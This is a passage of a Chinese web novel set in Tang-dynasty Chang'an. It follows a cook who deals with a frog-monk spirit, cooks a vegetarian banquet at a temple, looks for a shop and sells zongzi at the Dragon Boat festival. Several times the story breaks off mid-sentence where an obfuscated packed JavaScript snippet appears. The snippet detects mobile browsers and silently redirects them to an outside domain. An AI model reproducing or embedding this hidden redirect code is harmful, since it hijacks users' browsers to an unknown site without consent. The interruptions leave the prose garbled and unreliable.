段知微并没有碰到水，只是一双麻布鞋沾了些泥。 他倒是满不在乎地一脚踏进水中，对段知微一拱手道“得罪了”，然后伸出一只胳膊搂住段知微的腰，用力把她拉出玄阴池。 “到底是怎么回事？”他看上去既生气又担心，声音扬了上去。 段知微喘口气道“妾知道那些人是怎么掉下去的。”她手舞足蹈的比划，将青蛙化身成蛙僧小妖的事和盘托出。 袁慎己拿着刀跨步迈入水中，被段知微一把拉住。 显然他打算去找青蛙小妖单挑了，只是这青蛙也是好心，怕人中了暑热，骗人进池塘以消暑热，若贸然杀死，岂不是损阴德...只是她能说啥，蛙蛙这么可爱怎么可以吃蛙蛙？长安名菜雪婴儿了解一下。 思考半日她只能说“今日浴佛节。侍女郎君皆在放生，这荷花池也在南严寺后院，都尉怎可持兵器开杀戒？” 先皇后仁善，笃信佛理，若是在寺庙杀了这青蛙小妖，倒是会惹圣人怪罪。想到这层，袁慎将已出鞘的横刀收起。 这袁慎己拔刀时候浑身散发着戾气，别说段知微吓一跳，藏在荷叶底下大声喧哗的青蛙声音都缩掉了。 袁慎己自觉吓到她，不免有些懊悔怪自己鲁莽，思量下朝她郑重行一礼表示感谢“多谢段娘子提醒。” “不用客气”段知微说完，两人陷入尴尬的沉默中，为了缓和气氛，段知微从怀里拿出一个手帕，里头是准备带给段大娘的最后一个荷花糕。 “都尉尝尝”她笑着说“这是今日最后一个了。” 见着那粉色的荷花糕，池中一只青蛙竟一跃而起试图抢夺，袁慎己眼疾手快把段知微拉住护进怀里，青蛙撞到他背上无功而返，只能匆匆逃回池塘里。 可惜荷花糕掉在地上，毕竟糕中加了牛乳，成本在那，段知微心疼的想去捡起，却被袁慎己抢先一步，蹲下捡起。 段知微连忙开口“都尉，那荷花糕脏了，不要了吧。” 却见袁慎己轻轻掸去糕上的灰尘道“不碍事，某在军中良久，什么样的粮草都吃过。” 他轻咬一口荷花糕，只觉糕点绵密清香，底下绿色荷叶部分有浓郁的茶香，吃着让人心情大好。 袁慎己露出了这几日第一个浅浅的微笑，凌厉的五官柔和了不少“很好吃，多谢段娘子。” 段知微起初只觉袁慎己此人好像一块冰冻得硬硬的奶酥，这下突然被一层滚热的蔗浆浇灭融化成重岩叠嶂的酥山。她突然不自在起来，少了些爽利。 “今日多谢都尉倾力相救”段知微向他施完一礼“他日妾再做些夏糕赠与都尉。” 段知微眼见披甲执刀的金吾卫包围了整座后院，识趣地往后退，袁慎己本欲叫住她，却被属下拦住了去路，只得深深看她一眼，转身处理这棘手的蛙僧案件。 但令段知微始料未及的是，作为荷花池事件最后的受害者，来听故事的坊间邻居们不少。 段知微站在炉子旁一边烤着胡饼一边绘声绘色讲着自己在南严寺面对蛙僧的遭遇，前来倾听的人时不时站得渴了，就会买上一杯清凉紫苏饮或者雪泡缩脾饮。 等把故事听全了，就心满意足地买些肉胡饼或者炸酥肉拎走，生意一下子好了许多。 更有文人将这故事写做了变文，蛙僧的故事一下子全长安大噪了起来。虽然南严寺后院仍旧封禁着，但是抵挡不住长安仕女郎君的热情， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426910|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一窝蜂跑南严寺礼佛去了。 段知微趁机又雇了驴车去南严寺门口卖起了玄阴池同款荷花糕，那粉色娇艳可爱的荷花糕平铺在垫了大片荷叶，吸引了不少长安仕女采购，每天一个时辰便卖尽了。 这日段知微照常拖了一大盒荷花糕到了南严寺，还没来得及把东西从驴车上扛下来便被两个灰衣僧人围住。 段知微差点以为又是哪里冒出来的妖怪，赶紧张开双臂护住自家老驴，老驴慢悠悠吃了口草。 灰衣僧人却很是守礼地道一句“阿弥陀佛”，说明来意，竟是南严寺的监院有请。 段知微只好把自家老驴交给了其中一位僧人，在另一位僧人的指引下进了南严寺。 监院是负责寺庙日常工作包括财务、人事等工作的和尚，在寺庙地位不低，仅此与堂主了，段知微不懂这样的人为何要见自己。 监院是位面容清瘦的中年和尚，他手持念珠，很是上道的跟段知微打招呼，为她倒上一壶茶。 在本朝，平民多饮奶酪或米酒，只有南方一些地方喝茶，剩下的便是寺庙了，据说茶水能提神醒脑。 段大娘平日多饮酪浆，段知微则直接喝烧透的井水，眼下难得见到汤色浓绿的茶饮，加之确实口渴，因此她很是开心的将茶一饮而尽。 然后脸色就跟汤色一眼绿了。无他，想是为了让和尚们保持头脑清醒多念两本经，这茶苦到令人舌尖发颤，要说还有什么更糟糕的，就是茶里加了粗盐，大枣，苏桂，想是为了体验寺庙气派，还放了价比黄金的胡椒。 这麻、甜、苦、涩、辣混在一起，咽又咽不下，吐又吐不出，段知微挣扎良久，终是将那口古怪的茶咽了下去。 监院见她脸色不好，似乎明白了几分，命人再送上一份寻常的酪浆，自己则淡然饮下茶汤，周身散发着宁静祥和的气息。 段知微很是佩服地看他，要不说人家能当监院呢，喝这样的茶汤都能面不改色。 监院饮完茶汤，终于进入了正题，“前几日本寺中发生了蛙僧的事件，女施主可有受伤？” 段知微知道人监院是有事求自己的，开个话题酝酿一下，于是直接说：“多谢监院挂念，妾毫发无损，只是这几日在寺门口贩售荷花糕，不知是否碍到了南严寺的名声？” 监院知道遇见了个聪明人，不由赞许的点点头道“那倒是无碍，前日袁都尉前来，贫僧与袁都尉闲聊几句，知道女施主竟是厉害的厨娘。”监院停顿两下“不知女施主是否能将荷花糕的配方卖与本寺。” 原来长安多珈蓝，南严寺地方较小，香火不盛。前几日倒是因为蛙僧小妖而多了些香客，只是好景也不会太长，见段知微在寺门口卖着玄阴池同款荷花糕，监院便想到令素斋堂也贩卖这款荷花糕。 段知微没有多想就应和了下来。其一，这本是打着南严寺的名声才卖出去的荷花糕，若单论滋味，也就那么回事，没好吃到哪儿去。其二，荷花糕制作简单，只需稍微留心，想必别人也能做出来。 于是段知微很是愉快的和南严寺达成了荷花糕配方的协议。 8. 第八章 承办全素斋 段知微本想结束跟监院的交易就回家，结果一看已经晌午，便琢磨着就在南严寺的素斋堂吃个午饭。素斋堂坐落在竹林前，一片碧色，很是幽静。 只是南严寺近日香火旺盛，门口宝马香车络绎不绝，供应午食的素斋堂，不应该空无一人啊。 段知微隐约升起不详的预感。她正自犹豫要不要起身离开，一位小沙弥送来了一份素食香菇馎饦。 馎饦的汤底是半黑不黄的豆豉汁，上面零散的飘着几块香菇。段知微犹豫了片刻，拿起筷子咬了一口香菇。 香菇没能泡发完全，吃起来像是泡在咸水里半软不硬的木头，面片煮的又软又烂，筷子都夹不起来。 难怪没有一丁点生意，也难怪要买荷花糕的方子，段知微想。 本着不能浪费粮食的精神，段知微咬牙把这碗齁咸的面皮汤吃完，起身欲走，却在经过院堂时见一位妇人穿一身黑麻衣裳，弯腰麻利地削山药，手上的刀刷刷几下，一盆子洁白的山药就削好了。 看上去比开店多年的段大娘还要稳妥。段知微正自好奇，素斋堂的小沙弥们却突然乱作一团。 段知微在一旁听了一嘴，原来是几位高门的娘子想在这用午膳，然而负责厨房的师傅外出游历去了，三月方归，厨房里只剩几个帮厨的小沙弥。 难怪东西那么难吃，段知微心想。 只见监院匆匆进来嘱咐了小沙弥几句，正欲出门，却被段知微喊住。 段知微望一眼小沙弥炒出来的乌黑的青菜，又望一眼满脸难色的监院道“妾听闻有几位高门娘子前来用午膳，监院不妨试试妾的手艺。” 见其犹豫，段知微趁热打铁:“妾也擅治几道好素菜。瓜蓉白菜，色泽乳白，口感软嫩清淡；翠盅金茸，颜色鲜艳，咸香扑鼻；香菇扒菜心，油润可口。包管让几位夫人满意。” 此话一出，跟在监院旁边的小沙弥就先用袖子擦了擦口水。 监院踌躇片刻，只怕也是对小沙弥们的手艺有充分的认识，便点了点头道：“那便劳烦女施主了，薪俸贫僧随后奉上。” 段知微高兴地摆摆手:“妾只是结个善缘，薪俸另谈，只是时间紧迫，妾需寻一帮手。”她立刻指了指仍旧在沉默扫地的黑衣妇人“那便那位娘子来帮忙吧。” 监院想来还有事情，只应诺然后出门去了 段知微到了厨房环视一圈，厨房虽小五脏俱全，什么干菌子青菜豆腐一应俱全，灶台上也是盐、酱、醋、梅子、花椒、桂皮等调料齐全。 段知微转个身的功夫就见那妇人幽幽地跟在她后面，脸上围着一块灰色的布，也不说话。 段知微只好自己打破沉默:“妾身西平段氏段知微，不知娘子...” 妇人沉默了片刻，略微施礼道:“妾名唤阿盘。”说着用手再次捂实脸上的布片，再不肯说一句。 段知微也知此刻不是闲聊的时分，几位高门娘子还等着用午膳，便请阿盘帮忙洗菜，自己先在竹簸里挑了些个头匀称的白菜挖成一个圆盅样式，将香菇、笋子、蘑菇、萝卜切成丁塞进白菜盅里然后上火蒸。 她有意考校一下阿盘手艺，因此站在一旁教她调汁。在炒锅内倒入酱油和素高汤，加入淀粉勾芡成浓郁的汤汁，待白菜盅蒸至半熟，将汤汁一起倒进去煮，很快鲜香味美的白玉翡翠盅便做好。 段知微惊喜地发现，阿盘做事确实麻利，一点就会，于是她便再次与阿盘攀谈起来：“娘子手艺真不错...” 阿盘只回了两个字“多谢”。 段知微只好停止了套近乎，将一块豆腐剁碎，与香菇丁、淀粉混合捏成丸子状，下锅油炸成金黄色丸子，炒一盘油润润的青菜垫在盘子下，把金色丸子放上去，一盘子母豆腐丸便完成了。 在段知微和阿盘的帮忙下，白玉翡翠盅、子母豆腐丸、脆炒乌丝、清炒芥蓝、三鲜锅巴行云流水的从厨房被运送了出去。 段知微想了想，收尾的点心便做一份八宝饭，她将糯米洗净蒸熟，放入白糖素油拌匀。再将蜜枣、核桃、金桔蜜饯、松仁切成细碎小丁与糯米拌在一起。拿出几个粗瓷小碗把糯米压实，然后一起上屉蒸。 笼屉里已经弥漫出阵阵甜香，段知微瞅准时机把糯米饭取出摆盘，撒上白糖，再妆点一些红绿丝。 白糖已经在糯米饭的热气下融化渗透进饭中，只见糯米饭晶莹饱满，散发淡淡米香，蜜枣金桔颜色鲜艳，缀在上面霎是好看。 几个厨房帮厨的小沙弥从开头就在暗暗咽口水，段知微很是好心的将八宝饭多做了几份，没想到几个小沙弥很守规矩，摇头不肯吃。 段知微只好放弃，又拿起一份给阿盘，阿盘也是摆了摆手，就一个人坐到了角落的阴影里去，对着竹林发呆。 段知微正不知如何是好，监院又匆匆回来了，说是中午的素斋几位高门娘子很是感兴趣，想见一见厨娘。 这倒是正中段知微下怀，但凡商贾人家，若能结识到高门娘子，生意定然是能更上一层楼的。于是她也不推脱，爽利的就跟着监院走了。 素斋堂的雅间在二楼，雅间挂着翠色的帷幄，墙上挂一副字画，当真谈得上雅致。四个装扮华贵的妇人在席间跪坐，见有人来，纷纷敛了笑容。 首席的老妇人白发花白，只利落簪一只鎏金银花叶簪子，背脊挺得笔直，看上去精神头很好。见到段知微，先是凌厉打量她一下，而后露出一个和蔼的笑容。 “你便是今日的厨娘了？” 段知微规矩行完礼道：“是妾身，听闻各位夫人相邀，不知是否菜色不合口味。” 她其实对菜色挺有信心，只故意扯个话题，只见那老妇人满意点头道:“菜色倒是不错，老身对这道炒三泥甚是感兴趣，不知可否介绍一下。” 那盘菜红白黑三色相间，色泽甚是鲜艳 段知微道：“此菜名为炒三泥，先用素油炒山药泥，加入白糖再用素油炒豆沙泥，炒成沙状以后码放到山药泥旁，最后再熬上山楂泥。” 她顿了顿继续道：“此菜的特点便是山药软糯细腻，滑润爽口，味道清甜。豆沙则细腻绵密，甜味醇厚，山楂里糖放的不多，微微甜酸，吃到山楂果的清香，能把胃口打开。” 那老妇人微微点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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段知微准备了一大段话，比如薪俸多少，员工福利，自家姑母虽然抠门但是和蔼可亲之类的，岂料阿盘抬头望一眼竹叶便点头:“走吧。” 令段知微准备了一大段的术语卡在了半道上。 眼下暮色四合，段大娘在槐树下边饮酪浆边等段知微回家，远远见到她驾着驴车，后边还斜坐了一个人。 段知微热情把阿盘拉进店里，又喊段大娘:“长姑，找一床被子出来。” 段大娘拎着一壶酪浆，把段知微从店里扯了出来:“你带了个人回来？” “是啊，我找来帮忙的，不是你成天嚷嚷忙得脚不着地，都没时间跟隔街卖菜的老李欢饮达旦了。” 段大娘老脸一红:“可靠吗，有提要多少薪俸吗？” 段知微把阿盘的经历给她这么一讲，段大娘立时眼睛里溢出些泪水，她用帕子擦擦眼泪，重新换上一副慈祥的面孔，跑去关爱阿盘去了。 段知微摇摇头，透过夯土窗看一眼天空，今夜月明如白玉盘，正是团圆夜。 9. 第九章 虽说段家铺子也勉强算个食肆，地方却甚是狭窄，最多同时只能坐四桌人，因此销售最好的果然还是能外带的肉胡饼和炸酥肉，只能堂食的绿豆粥、馄饨与馎饦销量还是不佳。纵然有人想买，也都是买了带走吃。 这几个月靠着顺应时序和节日的美食，段知微也赚了些钱，陆续有了些忠实的食客，便琢磨着赁一处地理位置好点的店铺，来专门提供午食和晚饭。 只是手头还缺着些钱，正在疯狂打算盘的时候，过来窜门的耶律大娘建议道：“不如去借些？” 长安除了东西两市的钱庄，就属几家大寺庙可借钱，当然那也不能叫借钱，寺庙的事能叫借钱吗？那叫做功德。 段知微和段大娘一合计，便抽空骑个驴满大街探探道，首先探了探朱雀大街中轴线靠近皇城的开化里,地段甚好，价格也高，段知微找了个牙人一问，这儿的宅子怎么也要三百万钱，只能哀叹一声“长安居，大不易”驾着驴车走了。 一时却也找不到适合的，但俗话说来都来了，段知微便打算找个店吃个午饭。 最后段知微选择了朱雀门颁政坊的萧家馄饨。无他，这萧家馄饨原是长安最知名的馄饨，千年后仍有老板顶着萧家馄饨的名头打广告，既然已经来到此地，不得尝尝老祖宗的手艺。 颁政坊远离闹市，在颁政坊第三条街，段知微驾了小半个时辰的驴车，吃了无数驴子扬起的黄土。 终于到了这处，这萧家馄饨地点偏僻，铺面也不大，只用翠色的幄帐隔出几个单间，但门口竟是大排长龙。 段知微都想放弃了，岂料被人叫住，定睛一看竟是官署的录事苏莯，今日未穿淡青色的官服，换了身月牙色澜袍，整个人显得更加白净。 他已然已经吃上了，热情邀请段知微过来拼桌道：“段家娘子果然于吃食上甚有品味，某打包票，这长安第一馄饨的名头非萧家莫属。” 很快一碗热气腾腾的馄饨端了上来，段知微见那汤底金黄诱人，便知是鸡汤汤底，舀上一勺尝尝，那醇厚浓郁的鲜美口感一下子在口腔里弥漫出来而出，想来是小火慢炖了半日，鸡肉的精华都炖了出来。 再捞出一个馄饨，面皮擀得薄如蝉翼，举起来对着窗外太阳还能透光，馄饨皮捏出的皱褶也像小花般可爱。里头透出鼓鼓囊囊的粉色馅料，段知微咬一口，馅料鲜嫩多汁，鲜香汁水在口腔迸发出来。 段知微吃出来了，这是葱花水打猪肉馅，这猪肉馅打了许多回，因此口感有嚼劲，里面掺和了些剁碎的虾仁和香菇用来提鲜。 段知微大叹口气，古人还是聪明，几千年的食物并不逊于今日。自己作为现代人的自傲立刻就被打击到了。 显然那苏莯也是个爱吃之人，他又滔滔不绝的向段知微推荐起其他美食：“光德坊的葫芦头、宣慈寺的软枣糕、庾家粽子皆是一绝......” 光德坊的葫芦头，把软绵滑韧馍掰成箸头大小，再把馍块渗入热汤中，喝一口汤浓味醇，肉嫩且肥而不腻，吃的时候佐些糖蒜、泡菜更加清爽利口，若是冬天，吃完一碗便是浑身都热了。 庾家粽子选用晚造糯米，里头是五花腩肉作馅，加上蒜蓉、沙姜、五香粉等，做出来的粽子莹白如玉，因为配料过于复杂导致全长安找不到替代品，这粽子连圣人都赞不绝口。 宣慈寺的软枣糕则是用了西域运过来的干枣，那糕都不必再放糖，吃起来就香甜适口，枣香浓郁。 段知微认真记着，准备闲暇时多去走访探探长安人民的口味。她无意想起便问眼前吃馄饨吃得甚欢的苏莯：“最近郎君似乎来店里来得少了。” 官署的公家食堂味道极差，最近的槐叶冷淘更是难吃得让人怀疑人生，自从苏莯带了一次肉胡饼大受欢迎后，他在官署的地位直线大幅度上升，之后恨不得每天挑个扁担去上班。 作为段家铺子的忠实顾客，苏莯最近买得少了，段知微不免要担心，是不是食物做的不合口味了。 那苏莯茫然看她一眼：“袁都尉那日在南严寺的玄阴池沾了妖水，染了些风寒，告了两天假，段家娘子不知道吗？” 段知微这才了然，原来是吃朝饭的主力担当生病回家了，不是饭菜不合口味了，段知微稍稍放下心。 不过...话又说回来，人那日在玄阴池毫不犹疑地一脚踏进去把她拖了上来，好歹也算半个救命之恩，应该去表示一下。 于是趁日头还早，问苏莯要了地址，用食盒装了些耐存的糕点去了袁慎己的宅邸，这位前途大好的武将住在新昌坊，不过段知微甚至没能进门馆，就被年迈的管家请了出来，说是都尉身体抱恙，没奈何只能转身抱着食盒走了。 袁慎己沾了那池里的水，到底体魄健硕，也只身体不适了一小会，无奈家中管家已前去请了两日的假。只能在家练练枪法，眼下他正拎起一桶井水从头浇下来，管家前来复命：“已将那娘子打发走了。” 袁慎己解决了玄阴池蛙僧的事很快传了出去，那杜家表妹很快便带着珍贵药品前来慰问。被管家拦下了，没想到今日又来。 袁慎己点点头回房，不想没过一会管家又进来，说是苏录事求见。 却见苏莯抱着公文跟一个食盒进来道“都尉竟是大好了，刚刚在门外偶遇段家娘子，她还跟某说都尉暂时还不能见客。” “什么，段家娘子？”袁慎己皱眉。 那管家颤颤巍巍进来奉茶，耳背道：“没错，是杜家娘子啊。” 苏莯把手抬起做一个喇叭状，大声对管家道：“不是杜家娘子，都尉说的是段家娘子啊。” 等苏莯报完公文离开后，袁慎己打开食盒，只见里头是些新鲜的糕点，他对长安大部分路还是熟悉的，这厢便骑着马出来沿着大路走，很快便在一家糕饼铺旁边遇到了段知微。 她正坐在台阶上吃一块枣糕，再从挎包里拿出一个青苹果喂给驴子，驴子慢慢嚼着，段知微抬手给驴脑袋顺顺毛。 眼前出现一双长靴，段知微抬起头，见袁慎己往眼前一站，她赶忙拍拍裙子上的灰站起来问：“几日不见，都尉可大好了？” 袁慎己点点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426912|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“某未向管家说清楚，不知是段娘子前来。”他双手一抱拳“上次南严寺，多谢段娘子提点。” 那日在南严寺，袁慎己本欲持刀对付蛙僧，听了段知微的话，才收起刀命人看守，自己去向上级禀报，圣人反倒赞扬其有所成长，不再如以前一般鲁莽。 “不用客气”段知微讲，二人一时无话，空气里透露着些尴尬，反倒是袁慎己这个沉默寡言的人又突然开口：“苏录事说，你在找房子？” 这话一出，段知微立刻开始大倒苦水，说那地理位置优越的地方价格贵到离谱，价格便宜的地方一看，都要出城了。 “怎么就没有价格适中的地方呢”她叉腰抱怨道。 倒是袁慎己稍加思索后说道：“某倒是知道有个地方，价格适中，位置也不错。” 于是长安街中，石拱桥上，袁慎己骑着高头大马在前头领路，段知微骑着老驴在后面晃晃荡荡跟着，老驴走得慢，袁慎己不时还要拉住缰绳回头看看她有没有落下。 最后袁慎己把她领到了宣阳坊的一处铺面道：“此处是要闹坊区，北邻平康，东邻东市，各地考生赴长安赶考，多半住到这里，价格自然是比平康便宜许多。” 段知微很是惊喜地环顾一下四处，左边是一家旅舍，右侧则是一家书肆，再往前则一家脂粉店，往来书生、仕女皆有。 她当即就要点头，又思量这地段好、客流量也不少的地方，租一年怕是得要不少钱，又踌躇了起来。 袁慎己一眼看出她的担忧：“段娘子不必忧心，此房主乃是袁某旧识，家中颇有家底，如今跟着商队去了西域，此铺也是闲着，如今托着牙人对外租恁，价也不高。” 这下段知微稍稍放了些心，很是真诚地朝袁慎己道谢，又笑着说：“士农工商，商处最末，都尉尽心帮妾这个大忙，妾很是感激不尽。” 袁慎己倒是不甚在意：“女子当垆不易，其间各种心酸，段娘子上次帮胡女出头，某倒是深感敬佩。” 这话倒是戳到了段知微心坎上，在现代不觉得，在这地方卖吃食，什么类型的顾客都遇得到，也是受过些闲气。如今这四品官员竟然能些许体谅。 她不觉点点头，扭头望一眼破败着的房屋感慨道：“只愿以后能顺当一些，赚些体己给长姑，让她安度余生。” 袁慎己不免问道：“那你呢？” 段知微回过神，脸上却略微露出向往之色：“我想...我想去看看扬州的二十四桥，武汉的黄鹤楼，凉州的天梯山石窟。” 明月夜下，二十四桥垂柳依依；黄鹤楼上极目远眺，看长江滚滚东逝；当涂江上的月光仍静静照着青莲居士最爱的那壶烈酒；锦官城下了一场春雨，又是满目香色鲜浓的花色，那些都是怎么样的美景呢，真让人向往，让人想要见识。 袁慎己倒是未想到她有此等志向，颇为赞赏的点点头：“袁某曾路过扬州，夜市千灯、高楼红袖十分热闹。” 他微微低头看着充满干劲的段知微，露出一个微笑：“那便提前祝段娘子愿望成真。” 10. 第十章 端午与百索九子粽 看房子的事情暂时定下来了，毕竟申请贷款还需得一段时间，这日中午段知微在后院酱豆腐乳，用盐码的整齐的豆腐在瓦缸渍了两日，今天从缸里捞出来一看，竟然馊了，上面覆盖一层黏腻的绿色液体。 段大娘刚要抱着一木盆碧绿的箬叶和茭叶迈步进来，就被这味道又熏跑了。 段知微细细看了那豆腐一会，还是没舍得丢，决定留着找个时机做臭豆腐。 端午临近，下午炸酥肉的事情段知微全部交给了阿盘，全心全意的开始备战端午。 想来长安人士极度重视端午节，段大娘去道观拈香，求来了五色桃印彩符，段知微本对此类风俗不甚感兴趣，但是见那符上画着聚宝盆和财神爷意为招财，便也兴高采烈地加入这类活动里头去。 整个坊间大部分肆铺都焚着香芸大黄和白术，香气馥郁浓烈，倒是避了不少蚊子，前两日已有客人在排队买胡饼时问了粽子的事情，段知微便满坊间打听长安人喜欢怎样的粽子。 这日总算逮到了来买朝食的苏莯，这可算是问对了人，苏莯对吃食的认识比官署事务还要清晰，讲起来滔滔不绝。 什么庾家粽子铺特特从湖州进了吴兴米，浇上晶莹剔透的蜂蜜，看起来莹白如玉，诗人都连连写诗称赞其为“彩缕碧筠粽，香粳白玉团。” 再有圣人因端午赐下了水晶龙凤糕、花精糕，可惜自己官阶太低无福享用只能去驸马府蹭姑父的。苏莯眼睛亮亮的说道“那花精糕采集了洛阳的牡丹、杭州的荷花，百种花与豆沙、糯米蒸制而成，别有一番滋味。” 段知微受到了极大的启发准备也买些吴兴米来包粽子，却被告知之前因为虢国夫人的厨子用这种米捣成年糕状裹了豆沙馅制成了透花糍，现在该米价格居高不下，处于洛阳纸贵的状态。 段知微只好放弃，选择了较为平价的香粳米。 将糯米淘干净，跟艾叶一起浸泡，让糯米借着些艾草香，接下来便再备上一些粽子馅，段知微便准备了蜜枣、栗、柿干、银杏、赤豆、杨梅等。 段大娘看得直皱眉:“知微啊，其他便罢了，加杨梅的粽子怕是怪气哩。” 段知微边蹲在胡饼炉边熟练地包粽子，边安慰她:“这杨梅用冰糖腌渍过的，放进粽子里味道想来也不错。” 其实她心里也没有底，也是只听美食家苏轼提过“不独盘中见卢橘，时于粽里得杨梅。”但是加了杨梅的粽子味道究竟如何，她心里也没底。 正说着，袁慎己骑着平常那匹枣红马停到食肆外面，他仍穿着玄色的一套澜袍，只顺应时序佩了个雄黄荷包。 段知微仰头看他一眼，只觉他比平常脸更黑了，脸庞线条也更加硬朗，跟白白净净粉团一样的苏莯比，像被风霜粗粗雕琢过的岩石，粗犷气息逼人。 袁慎己倒是一眼看出段知微想法，轻咳一声解释道:“某参与了龙船竞赛，近日都在练习，想来日头毒辣，晒了一些。” 段知微很是惊喜:“赛龙船吗？” 袁慎己点点头，仔细描述了端午曲江边上会搭上无数彩楼、席棚绵延数里，头亭上则有端正孩童表演台阁故事。小龙船是百姓所划，大龙船则由官府护航，在曲江回环盘旋。袁慎己深得圣人器重，被钦点为了龙头划手。 “这么热闹啊。”段知微听得高兴，面色上带了些向往，这样恢弘的长安气象，真想去见识一下。 见她有兴趣，袁慎己道：“端午曲江风光好...段娘子...”他本想邀请她来看龙船赛事，却迟疑片刻，还是把话拐了个弯“段娘子可去曲江边摆摊...” “多谢都尉提醒”段知微觉得这个提议十分正确:“回头闲了去看都尉赛龙舟。” 她似乎觉得这样说不太妥当，便朝他一行礼:“祝愿都尉端午拔得头筹，回头来食肆吃粽子，妾请客。” 袁慎己没费什么力气便成功邀请了段知微去曲江看其比赛，这厢便一身轻松地骑着马迎着夕阳晃荡走了。 段大娘咬着蜜枣赶忙跑出来:“这怎么走了？” 段知微茫然不解看她，段大娘直跺脚:“袁都尉什么都没买就这么走了？” 一次能买四个胡饼的袁慎己空手走了，煮熟的鸭子飞了。 段知微这才反应过来，对哦，他特意绕来一趟就是为了建议自己去曲江摆摊吗？ 端午这日段知微起了个大早，把准备好的蜜枣、栗、柿干、银杏、赤豆、杨梅依次包进箬叶里，再用五色丝线结成小巧可爱的百索九子粽，放进蒸笼里大火蒸。 见那赤豆还有剩，段知微便在赤豆里加入砂糖煮成了一团，再裹上生糯米粉，一起放进蒸笼蒸，煮成沙团样。 最后出锅的沙团呈半透明样，若隐若现透出些绵密豆沙的色泽，段大娘喜食甜物，拿了一个塞进嘴里，只觉沙团外皮软糯，在口中微微回弹，赤豆沙馅拌了大量蜜糖，豆香浓郁，绵密细腻。 把沙团和百索九子粽搬上驴车，段知微又将小柴炉放上去，扭头去拿那瓦罐，里头是发酵了的臭豆腐。 段大娘在一旁欲言又止，最后还是没憋住问:“这罐臭了的豆腐也带过去？”她很是担忧的补充一句:“丢远一点，别冲撞了贵人。” 这曲江边除了平民百姓，还有达官显贵，捧着一罐气味浓烈的臭豆腐在柳明花媚的曲江边上游荡，别被那些不讲理的显贵派家奴赶走。 “不会的”段知微向他们摆摆手，迎着朝阳架着驴车晃晃悠悠的离开了。 曲江边上好风华，江畔各类繁花灿若锦团，长安的王子皇孙、男女耆稚各种宝马香车，珠翠脂粉倾城而出，沿着曲江大道缓缓行来。 曲江中各类龙船千帆竞发，最远处静静停靠的最高一楼船，船首刻着金色龙头，船边插着五色彩旗，那是天子的画舫，旁边护卫的几艘小龙船，也插着各色彩旗，袁慎己应该就在那些船上。 今日天色极好，曲江碧波映着澄蓝天色，远处可隐隐约约看到终南山的重峦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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段知微对着第一个大着胆子凑过来的仕女道：“娘子是今日第一个客人，可以免费尝一块。” 那仕女道谢接过，用竹签子插起一块放入口中，只觉外酥里嫩，再咬上一口，汁水四溢，咸香的风味浓郁，还有隐隐的辣味。 “甚好甚好。”那仕女吃着开心，掏出荷包：“妾要再买一份，去跟姐姐妹妹们分享。” 万事开头难，只要有第一个人买了，后面翘首观望的客人也都围绕了过来，段知微一边吆喝一边推荐自己包的百索九子粽，九个粽子用九色的绳捆在一起玲珑可爱。 段知微向买粽子的顾客道：“这九个粽子，每个味道都不相同，里头包了蜜枣、银杏还有杨梅，各位风味，吃起来别有一番乐趣。” 在她的热情推销之下，粽子和炸豆腐卖的很好，炸豆腐吃着有些燥需配些饮品，因此连带着旁边圆脸小娘子沾了光，一桶子白饮也一早上全部卖空。 11. 第十一章 曲江观龙舟赛 段知微正沿着江边一排碧色垂柳缓缓游览，忽觉有人跟着，扭头一看，竟是刚刚那个卖白饮的小娘子。 小娘子瞧着年纪还小，还是玩纸鸢、九连环的年纪，一张圆圆脸，短粗眉毛，眼睛像两颗紫葡萄又大又亮，跟了段知微一路，见她转身，慌张地低头搓搓手。 段知微觉得她甚是可爱，像以前家里养的小花猫，便走了过去半蹲下笑问：“是有什么事吗？” 那小娘子嗫嚅了一会，突然双手抱拳庄重的对着段知微行礼道：“娘子不到一早上就把食物全部卖完了，而且那沙团软糯甘甜，是儿吃过最好吃的沙团。”她深吸一口气，鼓足勇气道：“希望娘子能收儿为徒。” 段知微愣了愣，没想到出来一趟竟然还收获了拥趸，只是食肆目前还未成型，那边甚至还需问寺庙借钱，还有了个阿盘，现在就要再雇人，真怕发不出工钱。 那小娘子见段知微犹豫，急得涨红了脸道”儿名唤蒲桃，家中一直靠卖白饮为生，只是白饮寻常，终日也卖不出多少，赚不到祖母的一副汤药钱。今日沾了娘子光，竟然小半日便卖完了，还请娘子教教儿如何经营，儿可以不要工钱。” 